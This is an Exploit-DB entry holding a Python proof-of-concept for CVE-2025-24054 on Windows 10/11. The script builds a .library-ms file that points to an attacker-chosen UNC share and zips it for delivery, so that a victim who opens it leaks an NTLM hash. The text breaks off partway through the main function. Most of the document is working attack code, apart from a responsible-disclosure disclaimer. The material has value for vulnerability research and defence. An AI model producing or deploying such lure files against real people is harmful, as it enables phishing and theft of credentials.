Exploit-DB #52478
Description: windows 10/11 - NTLM Hash Disclosure Spoofing
Type: remote
Platform: windows
Date: 2026-02-04
Author: beatrizfn

Exploit:
# Exploit Title: windows 10/11 - NTLM Hash Disclosure Spoofing 
# Date: 2025-10-06
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://www.microsoft.com
# Software Link: N/A
# Version: Not applicable (this is a generic Windows library file behavior)
# Tested on: Windows 10 (x64) / Windows 11 (x64) (lab environment)
# CVE: CVE-2025-24054

# Description:
# A proof-of-concept that generates a .library-ms XML file pointing to a network
# share (UNC). When opened/imported on Windows, the library points to the specified
# UNC path.
#
# Notes:
# - This PoC is provided for responsible disclosure only. Do not test against
#   live/production websites or networks without explicit written permission.
# - Attach exactly one exploit file per email (this file).
# - Include the .library-ms (or ZIP containing it) as an attachment, plus this header block.

#!/usr/bin/env python3

import argparse
import ipaddress
import os
import re
import sys
import tempfile
import zipfile
import shutil
from pathlib import Path

# Very small hostname check (keeps things simple)
_HOSTNAME_RE = re.compile(
    r"^(?:[A-Za-z0-9](?:[A-Za-z0-9\-]{0,61}[A-Za-z0-9])?\.)*[A-Za-z0-9\-]{1,63}$"
)

# simple sanitizer: allow only a limited charset for base filenames
_FILENAME_RE = re.compile(r"^[A-Za-z0-9._-]{1,128}$")


def is_valid_target(value: str) -> bool:
    """
    Return True if value looks like an IP address, a hostname, or a UNC path.
    This is intentionally permissive — it's only to catch obvious typos.
    """
    if value.startswith("\\\\") or value.startswith("//"):
        # Minimal UNC sanity: ensure there's at least \\host\share (two components)
        parts = re.split(r"[\\/]+", value.strip("\\/"))
        return len(parts) >= 2 and all(parts[:2])
    try:
        ipaddress.ip_address(value)
        return True
    except ValueError:
        pass
    if _HOSTNAME_RE.match(value):
        return True
    return False


def build_library_xml(target: str) -> str:
    """
    Build the XML content for the .library-ms file.
    If the user supplies a bare host/IP, the script uses a share called 'shared'
    (matching the original behavior).
    """
    if target.startswith("\\\\") or target.startswith("//"):
        # normalize forward slashes to backslashes (if any)
        url = target.replace("/", "\\")
    else:
        url = f"\\\\{target}\\shared"
    # Return a plain, minimal XML structure (no additional payloads)
    return f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>{url}</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
"""


def write_zip_with_lib(xml_content: str, lib_name: str, zip_path: Path) -> None:
    """
    Write the XML to a temporary .library-ms file and add it into a zip.
    """
    tmpdir = Path(tempfile.mkdtemp(prefix="libgen_"))
    try:
        tmp_lib = tmpdir / lib_name
        tmp_lib.write_text(xml_content, encoding="utf-8")
        with zipfile.ZipFile(zip_path, mode="w", compression=zipfile.ZIP_DEFLATED) as zf:
            # place the file at the root of the zip
            zf.write(tmp_lib, arcname=lib_name)
    finally:
        # robust cleanup
        try:
            shutil.rmtree(tmpdir)
        except Exception:
            pass


def sanitize_basename(name: str) -> str:
    """
    Ensure the provided base filename is a short safe token (no path separators).
    Raises ValueError on invalid names.
    """
    if not name:
        raise ValueError("Empty filename")
    if os.path.sep in name or (os.path.altsep and os.path.altsep in name):
        raise ValueError("Filename must not contain path separators")
    if not _FILENAME_RE.match(name):
        raise ValueError(
            "Filename contains invalid characters. Allowed: letters, numbers, dot, underscore, hyphen"
        )
    return name


def main():
    parser = argparse.ArgumentParser(
        description="Generate a .library-ms inside a zip (keep it responsible)."
    )
    parser.add_argument(
        "--file",
        "-f",
        default=None,
        help="Base filename (without extension). If omitted, interactive prompt is used.",
    )
    parser.add_argument(
        "--target",
        "-t",
        default=None,
        help="Target IP, hostname or UNC (e.g. 192.168.1.162 or \\\\host\\share).",
    )
    parser.add_argument(
        "--zip",
        "-z",
        default="exploit.zip",
        help="Output zip filename (default: exploit.zip).",
    )
    parser.add_argument(
        "--out",
        "-o",
        default=".",
        help="Output directory (default: current directory).",
    )
    parser.add_argument(
        "--dry-run",
        action="store_true",
        help="Print the .library-ms content and exit without creating files.",
    )
    parser.add_argument(
        "--force",
        action="store_true",
        help="Overwrite output zip if it already exists (use with care).",
    )
    args = parser.parse_args()

    # Interactive fallback if needed
    if not args.file:
        try:
            args.file = input("Enter your file name (base, without extension): ").strip()
        except EOFError:
            print("No file name provided.", file=sys.stderr)
            sys.exit(1)
    if not args.target:
        try:
            args.target = input(
                "Enter IP or host (e.g. 192.168.1.162 or \\\\host\\share): "
            ).strip()
        except EOFError:
            print("No target provided.", file=sys.stderr)
            sys.exit(1)

    # sanitize filename
    try:
        safe_base = sanitize_basename(args.file)
    except Va